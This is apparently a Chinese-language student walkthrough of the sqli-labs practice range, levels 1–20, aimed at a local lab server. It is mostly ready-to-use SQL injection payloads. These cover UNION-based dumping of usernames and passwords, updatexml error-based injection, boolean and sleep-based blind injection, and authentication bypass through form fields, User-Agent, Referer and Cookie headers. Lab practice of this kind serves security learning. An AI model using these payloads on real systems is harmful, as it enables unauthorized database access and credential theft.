第一关
Less-1查找注入点
点击less-1的靶场进入
进入后进行字符型注入
sql-lasb-master:8088/Less-1/?id=1' --+
判断回显位
http://sql-lasb-master:8088/Less-1/?id=-1%27%20union%20select%201,2,3%20--+
暴出表名
爆出字段名
http://sql-lasb-master:8088/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+
第二关
数字型的注入,
http://sql-lasb-master:8088/Less-2/?id=1%20--+
判断回显位
http://sql-lasb-master:8088/Less-2/?id=-1 union select 1,2,3 --+
爆出来的数据库名
sql-lasb-master:8088/Less-2/?id=-1 union select 1,2,database() --+
爆表的名
sql-lasb-master:8088/Less-2/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆字段名
sql-lasb-master:8088/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+
爆数据
sql-lasb-master:8088/Less-2/?id=-1 union select 1,concat_ws('~',id,username,password),3 from security.users limit 0,1 --+
第三关
单引号括号的闭合,在id=1后加上’),其他操作与前两关相同。
第四关
双引号括号的闭合,在 id=1后面加上”)即可,其他操作与一二关相同。
第五关
1一个新的类型注入,使用?id=1’ 后发现回显了,确定为单引号闭合。
2使用/?id=1' order by 4 --+ ,当值为4的时候报错,所以列数为3.
3利用联合查询union 时发现仍然显示 you are
所以联合查询用不了。
4使用报错注入updatexml()函数+concat():拼接特殊符号和查询结果
成功利用漏洞
第六关
和第五关一样,第六关使用的是双引号闭合。
http://sql-lasb-master:8088/Less-6/?id=1" --+
第七关
1,输入http://sql-lasb-master:8088/Less-7/?id=1
2,盲注一下
使用http://sql-lasb-master:8088/Less-7/?id=1’和?id=1’--+ 下面是显示结果。
/?id=1' ?id=1'--+ 显示You have an error in your SQL syntax
说明,闭合中包括单引号' 但不仅限于单引号。
- 测试一下单引号加上两个小括号。
说明,闭合为 单引号+两个小括号 ')) 闭合
- 使用order by 爆破列数
使用order by * --+ 测试爆破列数,当order by 3 显示You are in.... Use outfile...... 的时候,就说明成功了,是三列。
- 尝试一下布尔型注入。
?id=1')) and 1=1--+
显示了You are in.... Use outfile..... ,说明了布尔型注入可以使用。
- 报错注入是行不通的。
第八关
- 尝试一下布尔型注入
有明确的回显可以尝试利用
可以进行盲注猜测,根据页面回显是否正常猜测信息。
第九关
- 时间注入
使用?id=1 and if(1=1,sleep(5),1) --+
发现反应时间正常,存在闭合,接下来测试存在哪一种闭合。
- 当使用了?id=1' and if(1=1,sleep(5),1) --+ 时,发现了网页反应的速度变慢了,所以存在的闭合为单引号。
第十关
- 使用时间盲注判断是什么闭合,利用sleep函数。
使用?id=1’ and sleep(5) --+ 执行的时候发现立即执行了,可以发现并不是单引号闭合。
使用?id=1’’ and sleep(5) --+ 执行的时候发现延迟了5秒,可以发现是双引号闭合。
第十一关
- 开启Burp Suite抓包工具打开拦截,然后在十一关的靶场登陆账号密码。
- 在Burp Suite上可以看到抓到的数据包,发送到重放器中就行操作。
- 在uname处进行注入一个万能密码
uname=admin&passwd=admin'or 1=1 --+&submit=Submit
- 点击发送,能看到爆出来的账号和密码。
第十二关
- 本关使用的是双引号加括号闭合。
还是同上一关一样,登陆靶场然后把抓到的包发送到重放器中。
- 在uname处注入一个万能密码,只不过这次注入使用双引号加括号闭合。
uname=admin&passwd=admin")or 1=1 --+&submit=Submit
然后点击发送查看结果,结果如下图:
第十三关
- 这关没有明确的回显,使用的是单引号加括号的闭合。
还是采用万能密码的操作
uname=admin&passwd=admin') or 1=1 --+&submit=Submit
可以看到显示了登陆成功了。
- 也可以使用这条语句相当于是万能账号了,也显示登陆成功。
第十四关
1,判断一下注入点。
用户名输入一个q”
密码输入123
根据返回的信息判断这是双引号字符型注入。
2,进行注入
用户名输入a’’ or 1 -- a
密码输入 123
返回登陆成功的结果。
第十五关
1,打开数据包拦截工具开启拦截,访问less-15靶场,把抓到的数据包右击发送到重放器中。
2,修改uname=后面的字段来进行注入
3,查看返回的验证成功返回 flag.jpg 失败返回 slap.jpg
4,还有一种时间盲注,修改刚刚的uname=后面的字段
5,查看右下角的反应时间,满足3秒的条件成功。
第十六关
- 打开less-16靶场,输入用户名和密码可以看见没有错误回显。
- 打开数据包拦截工具,拦截less-16的靶场数据,然后发送到数据重放器中。
- 修改uname=后面的字段进行时间盲注判断注入点
利用反应时间来判断
' and sleep(5) 单引号闭合
" and sleep(5) 双引号闭合
") and sleep(5) 双引号括号闭合
') and sleep(5) 单引号括号闭合
根据反应时间来看是双引号括号闭合。
第十七关
1,判断注入点类型
先打开less-17靶场,输入用户密码,跳出来了要更新账户的界面,其实是更新admin密码的操作,接下来输入一个新的密码即可。
2,进行测试注入。
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
这几种方法的注入都出错
3,抓包软件抓包,利用post方法提交参数还是失败
- 对密码闭合测试。
单引号闭合失败
单引号括号闭合失败
双引号闭合失败
双引号括号闭合失败
- 我们已经知道了一个用户名admin,所有把用户名加上。
uname=admin&passwd=a'&submit=Submit
可以看到网页回显成功,并且还回了一个语法错误,说明此处的是单引号闭合。
- 利用报错注入来获取当前数据库的版本。
uname=admin&passwd=' OR updatexml(1,concat("!",version()),2)#&submit=Submit
- 我们在利用报错回显数据库的名字。
- 爆表名,使用一个select的查询。
uname=admin&passwd=' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)#&submit=Submit
- 爆字段名。
uname=admin&passwd=' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)#&submit=Submit
- 利用报错注入回显用户名和密码。
uname=admin&passwd=' OR updatexml(1,concat('!',(SELECT group_concat(':',username,password) FROM users)),1)# &submit=Submit
可以看到回显了:无法在FROM子句中为更新指定目标表'users'。
接下来进行绕过,我们不能直接从users表中拿到我们想要的数据,接下来我们先用一个表暂存从users表中拿出的数据,然后在从这个暂存表中取出来,顾名思义就是利用一个查询查询另一个查询。
uname=admin&passwd=' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1))#submit=submit
利用这条命令可以看到查询到的账号密码。
第十八关
- 判断注入类型
首先我们注入正确的用户名和密码,观察到网页回显Your User Agent is: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
- 在用户名处注入
a' OR 1 = 1
a') OR 1 = 1
a')) OR 1 = 1
a" OR 1 = 1
a") OR 1 = 1
都显示失败
- 打开抓包工具,进行抓包修改字段。
将user-agent:后面字段进行修改
可以看见返回的数据库名称
' OR updatexml(1,concat("!",database()),2) OR '
第十九关
- 打开less-19靶场。
在输入框中输入一个正确的账号密码,查看回显信息。
可以看见回显了一个网址,这是告诉我们网页从那个连接过来的。
- 判断注入点。
对用户名和密码都进行以下注入
a' OR 1 = 1
a') OR 1 = 1
a')) OR 1 = 1
a" OR 1 = 1
a") OR 1 = 1
a")) OR 1 = 1
发现都回显失败
- 进行HTTP Referer 注入
该出和 Less-18 一样,只是,这里的uagent 换成了 HTTP_REFERER
打开数据包拦截工具拦截数据包发送到重放器中去。
在此处加上一个单引号测试是否有注入点
报错注入
Referer http://192.168.37.136/sqli-labs/Less-19/'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1
可以看见有回显信息。
进行盲注测试
Referer: http://192.168.37.136/sqli-labs/Less-19/'or(length(database()))=9 or if(1=1,sleep(3),null) or '1'='1
可以看见有回显信息。
语句解释:
(length(database())) =9 or if(1=1, sleep(3), null) or '1' = '1 #'语句中三个条件都为逻辑或 当第一个条件不成功时,再执行第二个条件,第二个条也不成功时,则执行第三个。其中有一个条件执行成功时,则不会向后继续执行。
(length(database())) =9 条件不成功,而后执行了 if(1=1, sleep(3), null)条件,该条件中的判断为 1=1,结果永远都是为真的,而后执行 sleep(3),最终页面响应时间是 3 秒
第二十关
- 打开抓包工具,打开拦截。
- 打开less-20 的靶场,输入账号和密码。
- 回到抓包工具,找到我们想要的cookie的数据包。
然后发送到重放器中
- 在cookie 处使用‘or’1’=1='1 判断注入点
- 爆表
Cookie: uname=admin'and updatexml(1,concat(0x7e,database(),0x7e),1)or'1'='1
- 爆字段
- 爆数据
两种方法
Cookie: uname=' union select 1,2,group_concat(username,0x7e,password)from security.users -- #
Cookie: uname=' union select 1,2,group_concat(concat_ws('-',id,username,password)) from users# -- #